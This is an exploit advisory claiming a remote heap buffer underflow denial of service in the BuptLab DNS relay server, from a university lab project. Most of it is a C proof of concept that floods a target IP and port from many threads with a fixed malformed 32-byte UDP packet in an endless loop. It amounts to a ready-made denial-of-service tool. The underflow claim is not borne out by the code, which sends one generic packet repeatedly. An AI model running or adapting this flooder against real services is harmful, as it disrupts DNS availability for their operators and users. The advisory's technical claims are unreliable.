=============================================================================================================================================
| # Title     : BuptLab dns relay server Remote Heap Buffer Underflow Denial of Service                                                     |
| # Author    : indoushka                                                                                                                   |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                            |
| # Vendor    : https://github.com/agicy/buptLab-dns_relay_server                                                                           |
=============================================================================================================================================

[+] Summary    : A remote Denial-of-Service vulnerability exists in the BuptLab dns relay server developed by Agicy from Beijing University. 
                 The issue is caused by improper handling of malformed DNS packets, which may lead to a heap-based buffer underflow condition during packet parsing.
                 An attacker can exploit this vulnerability by sending specially crafted malformed UDP DNS requests to the affected service. When the server processes the malicious packet, 
				 memory operations may access an invalid region of the heap, potentially causing the application to crash or become unresponsive, resulting in a denial-of-service condition.
                 The vulnerability can be triggered remotely without authentication, making the service susceptible to disruption if it is exposed to untrusted networks.
                 A proof-of-concept (PoC) demonstrates that sending crafted DNS packets to the listening port can cause instability or termination of the service, depending on the environment and configuration.
			  
[+] POC   : 


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <pthread.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <unistd.h>

#define PAYLOAD_SIZE 32

typedef struct {
    char ip[64];
    int port;
} target_t;

unsigned char payload[PAYLOAD_SIZE] = {
0xde,0xad,0xbe,0xef,
0x01,0x00,0x00,0x01,
0x00,0x00,0x00,0x00,
0xff,0xff,0xff,0xff,
0xaa,0xbb,0xcc,0xdd,
0x11,0x22,0x33,0x44,
0x55,0x66,0x77,0x88,
0x99,0xaa,0xbb,0xcc
};

void *flood(void *arg) {

    target_t *t = (target_t *)arg;

    int sock;
    struct sockaddr_in server;

    sock = socket(AF_INET, SOCK_DGRAM, 0);

    if(sock < 0){
        perror("socket");
        pthread_exit(NULL);
    }

    memset(&server,0,sizeof(server));
    server.sin_family = AF_INET;
    server.sin_port = htons(t->port);
    inet_pton(AF_INET,t->ip,&server.sin_addr);

    while(1){
        sendto(sock,payload,sizeof(payload),0,
        (struct sockaddr*)&server,sizeof(server));
    }

    close(sock);
    return NULL;
}

int main(int argc,char *argv[]) {

    if(argc < 4){
        printf("Usage: %s <target_ip> <port> <threads>\n",argv[0]);
        return -1;
    }

    char *ip = argv[1];
    int port = atoi(argv[2]);
    int threads = atoi(argv[3]);

    pthread_t tid[threads];
    target_t target;

    strncpy(target.ip,ip,sizeof(target.ip)-1);
    target.port = port;

    printf("[+] Target : %s:%d\n",ip,port);
    printf("[+] Threads: %d\n",threads);

    for(int i=0;i<threads;i++){
        pthread_create(&tid[i],NULL,flood,&target);
    }

    for(int i=0;i<threads;i++){
        pthread_join(tid[i],NULL);
    }

    return 0;
}


Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================